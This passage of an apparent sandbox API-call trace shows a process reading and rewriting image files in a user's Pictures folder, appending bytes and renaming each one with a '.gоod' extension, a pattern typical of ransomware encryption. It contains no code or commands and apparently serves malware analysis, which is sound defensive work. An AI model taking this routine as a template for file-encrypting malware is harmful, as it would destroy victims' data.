0x30 [0165.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.287] GetFileType (hFile=0x810) returned 0x1 [0165.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.287] GetFileType (hFile=0x810) returned 0x1 [0165.287] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0165.287] ReadFile (in: hFile=0x810, lpBuffer=0x360da70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x360da70*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0165.287] CloseHandle (hObject=0x810) returned 1 [0165.287] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", lpFilePart=0x0) returned 0x30 [0165.287] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.287] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.287] GetFileType (hFile=0x810) returned 0x1 [0165.287] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.287] GetFileType (hFile=0x810) returned 0x1 [0165.288] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1106b [0165.288] WriteFile (in: hFile=0x810, lpBuffer=0x360ecf0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x360ecf0*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0165.288] CloseHandle (hObject=0x810) returned 1 [0165.288] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", lpFilePart=0x0) returned 0x30 [0165.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.288] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.288] GetFileType (hFile=0x810) returned 0x1 [0165.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.288] GetFileType (hFile=0x810) returned 0x1 [0165.288] ReadFile (in: hFile=0x810, lpBuffer=0x3610f98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3610f98*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0165.316] CloseHandle (hObject=0x810) returned 1 [0165.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", lpFilePart=0x0) returned 0x30 [0165.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.316] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.316] GetFileType (hFile=0x810) returned 0x1 [0165.316] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.316] GetFileType (hFile=0x810) returned 0x1 [0165.316] WriteFile (in: hFile=0x810, lpBuffer=0x360fd08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x360fd08*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0165.316] CloseHandle (hObject=0x810) returned 1 [0165.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg", lpFilePart=0x0) returned 0x30 [0165.316] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg.gоod", lpFilePart=0x0) returned 0x35 [0165.316] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0165.317] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10d5e610, ftCreationTime.dwHighDateTime=0x1d4d5fe, ftLastAccessTime.dwLowDateTime=0x4180af30, ftLastAccessTime.dwHighDateTime=0x1d4cc66, ftLastWriteTime.dwLowDateTime=0x5ebf3a88, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1107b)) returned 1 [0165.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0165.317] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\j7MvXPd03ADui-UD4q5.jpg.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\j7mvxpd03adui-ud4q5.jpg.gоod")) returned 1 [0165.317] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", lpFilePart=0x0) returned 0x2a [0165.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0165.317] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp"), fInfoLevelId=0x0, lpFileInformation=0x368d2f8 | out: lpFileInformation=0x368d2f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33f8890, ftCreationTime.dwHighDateTime=0x1d4cf6c, ftLastAccessTime.dwLowDateTime=0xb3cb21d0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0xb3cb21d0, ftLastWriteTime.dwHighDateTime=0x1d4d150, nFileSizeHigh=0x0, nFileSizeLow=0x1364d)) returned 1 [0165.317] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0165.317] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", lpFilePart=0x0) returned 0x2a [0165.317] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.318] GetFileType (hFile=0x810) returned 0x1 [0165.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.318] GetFileType (hFile=0x810) returned 0x1 [0165.318] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0165.318] ReadFile (in: hFile=0x810, lpBuffer=0x368d6b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x368d6b0*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0165.318] CloseHandle (hObject=0x810) returned 1 [0165.318] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", lpFilePart=0x0) returned 0x2a [0165.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.318] GetFileType (hFile=0x810) returned 0x1 [0165.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.318] GetFileType (hFile=0x810) returned 0x1 [0165.318] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1364d [0165.319] WriteFile (in: hFile=0x810, lpBuffer=0x368e918*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x368e918*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0165.319] CloseHandle (hObject=0x810) returned 1 [0165.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", lpFilePart=0x0) returned 0x2a [0165.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.319] GetFileType (hFile=0x810) returned 0x1 [0165.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.319] GetFileType (hFile=0x810) returned 0x1 [0165.319] ReadFile (in: hFile=0x810, lpBuffer=0x3690ba8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x3690ba8*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0165.642] CloseHandle (hObject=0x810) returned 1 [0165.642] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", lpFilePart=0x0) returned 0x2a [0165.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.642] GetFileType (hFile=0x810) returned 0x1 [0165.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.642] GetFileType (hFile=0x810) returned 0x1 [0165.642] WriteFile (in: hFile=0x810, lpBuffer=0x33bc128*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33bc128*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0165.643] CloseHandle (hObject=0x810) returned 1 [0165.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp", lpFilePart=0x0) returned 0x2a [0165.643] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp.gоod", lpFilePart=0x0) returned 0x2f [0165.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0165.643] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33f8890, ftCreationTime.dwHighDateTime=0x1d4cf6c, ftLastAccessTime.dwLowDateTime=0xb3cb21d0, ftLastAccessTime.dwHighDateTime=0x1d4d150, ftLastWriteTime.dwLowDateTime=0x5ef14cee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1365d)) returned 1 [0165.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0165.643] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\KfSYCihKJOOjt.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\kfsycihkjoojt.bmp.gоod")) returned 1 [0165.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", lpFilePart=0x0) returned 0x2c [0165.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0165.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif"), fInfoLevelId=0x0, lpFileInformation=0x3439748 | out: lpFileInformation=0x3439748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14898f00, ftCreationTime.dwHighDateTime=0x1d4cffa, ftLastAccessTime.dwLowDateTime=0x34a44ee0, ftLastAccessTime.dwHighDateTime=0x1d4d56a, ftLastWriteTime.dwLowDateTime=0x34a44ee0, ftLastWriteTime.dwHighDateTime=0x1d4d56a, nFileSizeHigh=0x0, nFileSizeLow=0x28fb)) returned 1 [0165.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0165.644] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", lpFilePart=0x0) returned 0x2c [0165.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.644] GetFileType (hFile=0x810) returned 0x1 [0165.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.644] GetFileType (hFile=0x810) returned 0x1 [0165.644] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0165.645] ReadFile (in: hFile=0x810, lpBuffer=0x3439b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x3439b10*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0165.645] CloseHandle (hObject=0x810) returned 1 [0165.645] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", lpFilePart=0x0) returned 0x2c [0165.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.645] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.645] GetFileType (hFile=0x810) returned 0x1 [0165.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.645] GetFileType (hFile=0x810) returned 0x1 [0165.645] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x28fb [0165.645] WriteFile (in: hFile=0x810, lpBuffer=0x343ad80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x343ad80*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0165.645] CloseHandle (hObject=0x810) returned 1 [0165.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", lpFilePart=0x0) returned 0x2c [0165.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0165.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0165.646] GetFileType (hFile=0x810) returned 0x1 [0165.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0165.646] GetFileType (hFile=0x810) returned 0x1 [0165.646] ReadFile (in: hFile=0x810, lpBuffer=0x343d018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x343d018*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0166.171] CloseHandle (hObject=0x810) returned 1 [0166.171] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", lpFilePart=0x0) returned 0x2c [0166.171] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.171] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0166.171] GetFileType (hFile=0x810) returned 0x1 [0166.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.171] GetFileType (hFile=0x810) returned 0x1 [0166.171] WriteFile (in: hFile=0x810, lpBuffer=0x33c2c28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x33c2c28*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0166.171] CloseHandle (hObject=0x810) returned 1 [0166.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif", lpFilePart=0x0) returned 0x2c [0166.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif.gоod", lpFilePart=0x0) returned 0x31 [0166.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0166.172] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14898f00, ftCreationTime.dwHighDateTime=0x1d4cffa, ftLastAccessTime.dwLowDateTime=0x34a44ee0, ftLastAccessTime.dwHighDateTime=0x1d4d56a, ftLastWriteTime.dwLowDateTime=0x5f425d91, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x290b)) returned 1 [0166.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0166.172] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Khra_HFoPPxHHBG.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\khra_hfoppxhhbg.gif.gоod")) returned 1 [0166.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", lpFilePart=0x0) returned 0x2d [0166.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0166.172] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp"), fInfoLevelId=0x0, lpFileInformation=0x33e43f0 | out: lpFileInformation=0x33e43f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7b03270, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0x6114f5a0, ftLastAccessTime.dwHighDateTime=0x1d4cab2, ftLastWriteTime.dwLowDateTime=0x6114f5a0, ftLastWriteTime.dwHighDateTime=0x1d4cab2, nFileSizeHigh=0x0, nFileSizeLow=0xf23c)) returned 1 [0166.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0166.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", lpFilePart=0x0) returned 0x2d [0166.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0166.173] GetFileType (hFile=0x810) returned 0x1 [0166.173] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0166.173] GetFileType (hFile=0x810) returned 0x1 [0166.173] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0166.173] ReadFile (in: hFile=0x810, lpBuffer=0x33e47c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x33e47c8*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0166.173] CloseHandle (hObject=0x810) returned 1 [0166.173] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp", lpFilePart=0x0) returned 0x2d [0166.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0166.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\MAO0wQVJAEYSkF20.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\mao0wqvjaeyskf20.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, 